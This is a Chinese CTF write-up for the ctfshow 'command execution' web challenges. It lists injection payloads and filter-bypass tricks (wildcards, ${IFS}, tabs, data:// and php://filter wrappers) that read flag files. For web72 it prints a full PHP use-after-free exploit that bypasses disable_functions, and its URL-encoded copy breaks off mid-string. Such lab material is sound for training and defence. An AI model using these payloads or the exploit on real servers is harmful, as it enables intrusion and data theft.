ctfshow--web--命令执行

web29

可以看到过滤了flag字样

但我们可以通过通配符绕过flag,比如用fla?来表示flag

先用?c=system('ls');来观察该目录下存在的文件,发现了flag.php

然后使用?c=system('cp fla?.php 1.txt');flag.php的内容配对到1.txt

 

然后访问1.txt即可得到flag

 得到flag

 web30

发现新过滤了system以及php这两个关键字

我们此时可以通过反引号```来代替system,继续利用通配符?来配对php字样

则payload

?c=`cp fla?.??? 1.txt`;

 

 然后再访问1.txt即可

web31

发现新过滤了cat,sort,shell,小数点,空格,单引号等字样

我们可以通过eval嵌套执行get的第一个参数

payload:

?c=eval($_GET[1]);&1=system('cat flag.php');


这里payload使得1这个参数逃逸出来了,它不属于c,那么这些ban掉的字符对于1来说是无效的,对1来说没有什么过滤的地方了我们直接cat flag.php即可

 这里有一点就是执行之后页面是空白的,只有查看源代码才能发现flag

 web32

过滤了括号以及分号
%0a换行符
include函数不用括号 分号可以用?>代替

payload:

c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
 

 

放入base64解码即可的到flag

 ctfshow{b0422ea2-802f-423d-9675-1c235a0d0690}

web33

本题多过滤了一个双引号,这题用require函数
payload:

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

 

 

 flag="ctfshow{ca648c78-4720-44ac-99c5-184284d0d8f0}"

web34

过滤又增加了:
依然可以用之前的方法
payload:

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

 

 flag="ctfshow{8429b46f-8ffc-40b4-b4b0-8a1f25a175fd}

web35

又多过滤了<,依然可以用之前的方法
payload:

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

 flag="ctfshow{5e9c8591-1df1-45de-9146-63c8075896e2}"

 web36

又增加了数字.emmmm…依然可以用之前的方法。只不过换成字母
payload:

?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

 flag="ctfshow{d25a5fe9-07ad-4984-9f45-ebbeb272efe2}"

web37

与之前不同的是这里包含了一个c:include($c);

这题我们可以通过data伪协议读取

payload: ?c=data://text/plain,<?php system('tac fla?.php');?>


这个data协议是将后面的字符串当作php代码来执行,自然就通过执行system('tac fla?.php')成功的获取到了flag

 data://伪协议
数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;

flag="ctfshow{9a2d8846-a9e3-45a0-a8c1-e9efd8d8e8a0}"

web38

打开这题发现php被过滤了,但这题php代码这里可以使用php短标签进行绕过,flag.php这可继续用通配符?绕过

payload:?c=data://text/plain,<?=system('tac fla?.???')?>

说明:‘<?=’是PHP的一个短的开放式标签,是echo的开放式用法。

 flag="ctfshow{95735898-480e-456e-b676-048c4ef7edd4}"

web39

在这不同的是include($c);后面加了个.php

但在这我们可以使用上次的payload:

?c=data://text/plain,<?=system('tac fla?.php')?>
因为这里我们的php代码已经闭合,.php就起不到执行的效果,只能被当作字符串输出

 flag="ctfshow{0981bc71-7135-4f3f-89ed-f673cb96a631}"

web40

发现基本所有符号都被过滤了

大概只剩下了分号,下划线,以及英文括号(观察很久才发现题目过滤的是中文括号)

打印当初路径下文件的函数:print_r(scandir('.'))

但是很明显单引号和小数点已经过滤了,这里要先办法绕过

最简单的方法是利用函数传参,那就找当前能用包含小数点的函数

localeconv() 返回一包含本地数字及货币格式信息的数组

那么按找接下来思路就是构造:print_r(scandir(localeconv()[0]))

但是这个函数是不能localeconv()[0]这样返回的,而且方括号也被过滤了,那么就要用到别的函数

1.current() 函数返回数组中的当前元素(单元),默认取第一个值,

2.pos() 同 current() ,是current()的别名

3.reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE

这里三个函数都可以用

因此打印当前目录:?c=print_r(scandir(pos(localeconv())));

从此目录发现了flag.php

这里可以的用next()

输出数组中的当前元素的下一个元素的值,也就是可以输出第二个(还有end可以输出最后一个)

但是flag在第三个怎么办?可以用array_reverse函数

这个函数就是将数组转置;

所以payload:?c=print_r(next(array_reverse(scandir(pos(localeconv())))));

可以到达flag.php这个目录,接下来我们查看他的代码即可得到flag

最终payload: ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

得到flag

 flag="ctfshow{b12df84f-6572-43b3-bfd9-264aaa6c358a}"

web42

利用函数:system()

绕过思路:这里是通过>/dev/null 2>&1把输出的内容不进行回显,相当于一个“黑洞”,我们通过“;”进行截断,回显出flag.

Payload1:?c=ls;

 Payload2: ?c=tac flag.php;

 flag="ctfshow{116d09a7-18d8-4820-9f1c-5560f110cd73}"

web43

在这基础上又过滤了; cat
payload:

?c=cp flag.php 1.txt||


?c=nl flag.php||


?c=tac flag.php||

 flag="ctfshow{019f8347-cd61-484c-adcf-be73bc0fa0e9}"

 web44

payload:

?c=tac fl*.php||


?c=cp fl*.php 1.txt||

 flag="ctfshow{5804aba2-462e-409f-a24f-518d14df091c}"

web45

%09是Tab的url编码
payload:

?c=tac%09fl*.php||

 flag="ctfshow{cf485f41-6502-4363-b00c-34668e23e587}"

web46

过滤条件: cat、flag、空格、数字、$、*

绕过空格现在不能用$IFS绕过,但是可以用<>%09绕过(注意<?不能连用,至于为什么%09不被过滤是因为上传到服务器就是tab键,不算数字)
绕过flag用问号绕过,fla?.???

payload: ?c=tac<fla%27%27g.php||

web47

过滤条件:分号、flag、空格、数字、$、*、more、less、head、sort、tail

payload: ?c=tac%09fla?.???||

 flag="ctfshow{79e888e0-1d34-4bac-9c0f-03e3a005e5a2}"

web48

payload: ?c=tac%09fla?.???||

 flag="ctfshow{57c7f273-25eb-4612-b595-3f9ddec3c4b3}"

web49

payload: ?c=tac%09fla?.???||

 flag="ctfshow{2d317af5-a32c-462d-a80a-3999688e8a94}"

web50

过滤条件: 分号、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`、%、%09、&(编码后为%26)

绕过空格:这里过滤了tab(%09),可以用<> 代替,但是<不能和?连用
绕过flag:之前用通配符*或?可以绕过,现在可以使用‘’或者/分割绕过

payload:?c=tac<fla\g.php||

 flag="ctfshow{3f003165-8b37-49a3-b505-8ad0f4f6e5e7}"

web51

过滤条件:分号、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、%、%09、&(编码后为%26)
绕过:看到tac被禁用了…直接用nl查看

payload:?c=nl<fla\g.php||

 然后F12审计源码,就可以看到flag

flag="ctfshow{ec5cdbe1-ac18-4a51-bb2f-3299ffb6cde3}"

web52

过滤条件: 分号、cat、flag、空格、数字、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、%、%09、&(编码后为%26)、<、>
仔细一看少过滤了个$,多过滤了<>,那么这里用${IFS},构造

payload:?c=nl${IFS}fla\g.php||  执行完F12查看源码

 

$flag="flag_here";

web53

过滤条件: 分号、cat、flag、空格、数字、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、%、%09、&(编码后为%26)、<、>
题没有将输入指令不执行,直接构造

payload: ?c=nl${IFS}fla?.???

 flag="ctfshow{6b54b820-807d-4380-bd48-3dc3dba03ab2}"

web54

加强了正则,不能用*代替,构造

payload: ?c=/bin/??t${IFS}????.???

 查看源代码

flag="ctfshow{f1b93dd5-b098-4231-bdc5-4ac2f0f08631}"

web55

过滤条件:a-z 、`、%、%09(tab)、%26(&)、<、>

获取flag的base64编码

url/?c=/???/????64 ????.???意思为

url/?c=/bin/base64 flag.php再解码即可

 flag="ctfshow{77d1970c-2700-4553-8d54-e7b3f9b9f1c4}"

web58

c=show_source("flag.php");
类似的几个函数也可以使用
c=highlight_file('flag.php');

得到flag

$flag="ctfshow{c31a4e86-e60b-4d3c-85c0-cc53084cc7c6}";

web59

c=show_source("flag.php");
类似的几个函数也可以使用
c=highlight_file('flag.php');

 得到flag

ctfshow{6b7404bd-78ad-44ae-906d-5c7227f5f13d}

web60

c=show_source("flag.php");
类似的几个函数也可以使用
c=highlight_file('flag.php');

得到flag

 ctfshow{dad65939-2464-40f3-83f2-2a61fbe993a3}

web61

c=show_source("flag.php");
类似的几个函数也可以使用
c=highlight_file('flag.php');

得到flag 

ctfshow{9781bad0-97d3-40f5-88e4-c52d0a58ef1b}

web62

c=show_source("flag.php");
类似的几个函数也可以使用
c=highlight_file('flag.php');

得到flag 

ctfshow{357dfb01-b12a-4c3c-bf4a-99964ef52ca5}

web63

c=show_source("flag.php");
类似的几个函数也可以使用
c=highlight_file('flag.php');

得到flag 

ctfshow{da4cce89-968a-461c-8f07-762552e32d7a}

web64

c=show_source("flag.php");
类似的几个函数也可以使用
c=highlight_file('flag.php');

得到flag 

ctfshow{9d724213-96a1-4e6d-a020-e9443843e276}

web65

c=show_source("flag.php");
类似的几个函数也可以使用
c=highlight_file('flag.php');

得到flag  

ctfshow{b8a80a07-c746-4d75-86fb-10c2aefed055}

web66

system是被ban的 但是scandir没有
所以去看了一下目录 当前目录没东西 根目录下发现flag.txt
show_source也没了 用highlight_file

c=print_r(scandir('/'));
c=highlight_file('/flag.txt');

得到flag 

ctfshow{469c95d7-d595-4512-96af-345074acf4d6}

看大佬博客之后发现也可以利用文件包含

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');新学的

百度了一下 require_once()和require() 区别只是

require_once()语句在脚本执行期间包含并运行指定文件(通俗一点,括号内的文件会执行一遍)。此行为和require()语句类似,唯一区别是如果该文件中的代码已经被包含了,则不会再次包含

web67

还可以使用web66的方法

c=print_r(scandir('/'));
c=highlight_file('/flag.txt');

 得到flag

ctfshow{a1e7bfbd-ba87-485b-a16f-8816ce0ab7ed}

web68

奇怪的两题 进去index.php都无 尝试包含一下 报错

Fatal error: Allowed memory size of 134217728 bytes exhausted (tried
to allocate 262144 bytes) in /var/www/html/index.php(17) : eval()'d
code on line 1

hint里面说的是 发现字节太大了 直接盲猜 c=include(’/flag.txt’)
抱着练习的心理 我们去尝试一下其他的 用上一题的payload看根目录 发现print_r没了
但是我们还有var_dump() 然后同上
 

 得到flag

ctfshow{91a0573e-03d6-4684-88ca-2266a8249a9e}

web69

和第68题一样的方法

得到flag 

ctfshow{ff075333-8954-4dab-a94d-70c54b5efbb5}

web70

命令执行,突破禁用函数,求你们别秀了

查看根目录,flag还是在根目录里

c=var_dump(scandir('/'));

highlight_file()也被禁用了,直接包含include尝试一下
payload:

c=include('/flag.txt');

得到flag

 ctfshow{d627118e-6473-4dc4-ae09-103b27f821f5}

web71

题目下面有个附件,源码如下

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

执行var_dump(’/’);出现

???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.???(??) : ????()'? ???? ?? ???? ? 你要上天吗?

$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。
内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

先将缓冲区数据获取给$s,再清除,然后将数字和小写字母全变为 ?
我们可以通过exit();提前退出程序,绕过
payload: 

c=include('/flag.txt');exit();

得到flag 

ctfshow{fc613761-c567-416c-8496-3401e1d77659}

web72

源码和上题一样

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

直接利用php脚本读目录
使用glob://伪协议绕过open_basedir

c=?><?php $a=new DirectoryIterator("glob://./*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

uaf绕过open_basedir执行命令
poc(需要url编码) 

<?php

function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

payload

c=function%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%